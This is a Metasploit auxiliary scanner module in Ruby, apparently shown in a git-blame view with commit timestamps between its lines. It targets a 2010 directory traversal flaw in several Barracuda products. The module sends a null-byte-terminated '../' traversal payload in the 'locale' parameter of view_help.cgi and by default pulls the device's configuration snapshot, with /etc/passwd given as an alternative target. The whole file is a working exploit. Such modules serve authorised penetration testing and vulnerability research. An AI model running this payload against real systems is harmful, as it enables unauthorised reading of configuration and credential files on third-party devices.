2010-10-10 01:42:26 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2010-10-21 01:18:38 +00:00
|
|
|
'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
|
2010-10-10 01:42:26 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %q{
|
2010-10-10 17:45:30 +00:00
|
|
|
This module exploits a directory traversal vulnerability present in
|
2010-10-21 01:18:38 +00:00
|
|
|
serveral Barracuda products, including the Barracuda Spam and Virus Firewall,
|
2010-10-25 20:58:49 +00:00
|
|
|
Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
|
2010-10-21 01:18:38 +00:00
|
|
|
this module will attempt to download the Barracuda configuration file.
|
2010-10-10 01:42:26 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['OSVDB', '68301'],
|
|
|
|
['URL', 'http://secunia.com/advisories/41609/'],
|
2010-10-21 01:18:38 +00:00
|
|
|
['URL', 'http://www.exploit-db.com/exploits/15130/']
|
2010-10-10 01:42:26 +00:00
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'==[ Alligator Security Team ]==',
|
|
|
|
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
|
|
|
|
],
|
2010-10-11 04:00:57 +00:00
|
|
|
'DisclosureDate' => 'Oct 08 2010',
|
2010-10-10 01:42:26 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8000),
|
|
|
|
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
|
|
|
|
OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def target_url
|
|
|
|
"http://#{vhost}#{datastore['URI']}:#{rport}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
uri = datastore['URI']
|
|
|
|
file = datastore['FILE']
|
|
|
|
payload = "?locale=/../../../../../../..#{file}%00"
|
|
|
|
|
2010-10-10 17:45:30 +00:00
|
|
|
print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable")
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2010-10-19 21:55:19 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri + payload,
|
|
|
|
}, 25)
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2010-10-10 17:45:30 +00:00
|
|
|
if (res and res.code == 200 and res.body)
|
2010-10-19 21:55:19 +00:00
|
|
|
if res.body.match(/\<html\>(.*)\<\/html\>/im)
|
|
|
|
html = $1
|
2010-10-10 01:42:26 +00:00
|
|
|
|
2010-10-19 21:55:19 +00:00
|
|
|
if res.body =~ /barracuda\.css/
|
|
|
|
if html.length > 100
|
|
|
|
file_data = html.gsub(%r{</?[^>]+?>}, '')
|
|
|
|
|
|
|
|
print_good("#{target_url} - Barracuda - Vulnerable")
|
|
|
|
print_good("#{target_url} - Barracuda - File Output:\n" + file_data + "\n")
|
|
|
|
else
|
|
|
|
print_error("#{target_url} - Barracuda - Not vulnerable: HTML too short?")
|
|
|
|
end
|
|
|
|
elsif res.body =~ /help_page/
|
|
|
|
print_error("#{target_url} - Barracuda - Not vulnerable: Patched?")
|
|
|
|
else
|
|
|
|
print_error("#{target_url} - Barracuda - File not found or permission denied")
|
|
|
|
end
|
2010-10-10 01:42:26 +00:00
|
|
|
else
|
2010-10-19 21:55:19 +00:00
|
|
|
print_error("#{target_url} - Barracuda - No HTML was returned")
|
2010-10-10 01:42:26 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response")
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|